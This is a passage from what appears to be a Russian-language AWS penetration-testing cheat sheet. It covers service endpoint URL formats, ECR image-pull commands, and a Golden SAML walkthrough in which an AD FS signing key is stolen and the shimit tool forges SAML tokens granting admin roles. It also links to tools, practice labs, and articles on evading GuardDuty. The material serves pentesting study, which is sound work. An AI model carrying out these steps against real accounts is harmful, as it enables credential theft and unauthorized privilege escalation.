https://{random_id}.iot.{region}.amazonaws.com:443

MQ

Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.


Формат ссылки:

https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617

MSK (Managed Streaming for Apache Kafka)

Сервис потоковой передачи данных в Apache Kafka.


Формат ссылки:

b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com

Cloud9

Облачная интегрированная среда разработки(IDE) используя только браузер.

Формат ссылки:

https://{random_id}.vfs.cloud9.{region}.amazonaws.com


MediaStore

Cервис хранилища AWS, оптимизированный для мультимедийных материалов.


Формат ссылки:

https://{random_id}.data.mediastore.{region}.amazonaws.com


Kinesis Video Streams

Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.


Формат ссылки:

https://{random_id}.kinesisvideo.{region}.amazonaws.com


Elemental MediaConvert

Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.

Формат ссылки:

https://{random_id}.mediaconvert.{region}.amazonaws.com


Elemental MediaPackage

Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.


Формат ссылки:

https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

ECR (Elastic Container Registry)

Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.


Роли - управление

ecr:ListImages

Получить список образов:

aws ecr list-images --repository-name <ECR_name> --registry-id <UserID> --region <region> --profile <profile_name>

ecr:GetDownloadUrlForLayer

Позволяет получить URL на скачивание образа.

ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken

Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):

aws ecr get-login
docker pull <UserID>.dkr.ecr.us-east-1.amazonaws.com/<ECRName>:latest
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0

Утилиты

Вычисление ролей

enumerate-iam

github.com:andresriancho/enumerate-iam.git


Эксплуатация

Golden SAML

Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.


Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

shimit

https://github.com/cyberark/shimit

Установка:

cd /tmp
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
git clone https://github.com/cyberark/shimit
cd shmit
python shmit.py


В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ. Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell


Пример эксплуатации:

# Получаем приватный ключ
[System.Convert]::ToBase64String($cer.rawdata)
(Get-ADFSProperties).Identifier.AbsoluteUri
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

# Получаем инфу о юзерах - выбираем цель
aws iam list-users

# Получаем токен
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

# Проверяем текущий аккаунт
aws opsworks describe-my-user-profile

Проверки безопасности

Для администраторов преимущественно.

Zeus

https://github.com/DenizParlak/Zeus


Другое

aws_consoler

https://github.com/NetSPI/aws_consoler

All-In-One

pacu

ScoutSuite

https://github.com/nccgroup/ScoutSuite

Ссылки

Статьи

Hijacking IAM Roles and Avoiding Detection

Bypass GuardDuty PenTest Alerts

Лаборатории

Damn Vulnerable Cloud Application

SadCloud

Flaws

HackTheBox Stacked Writeup

Краткие заметки

PayloadAllTheThings

hacktricks-s3

hacktricks-aws

Книги

Hands-On AWS Penetration Testing with Kali Linux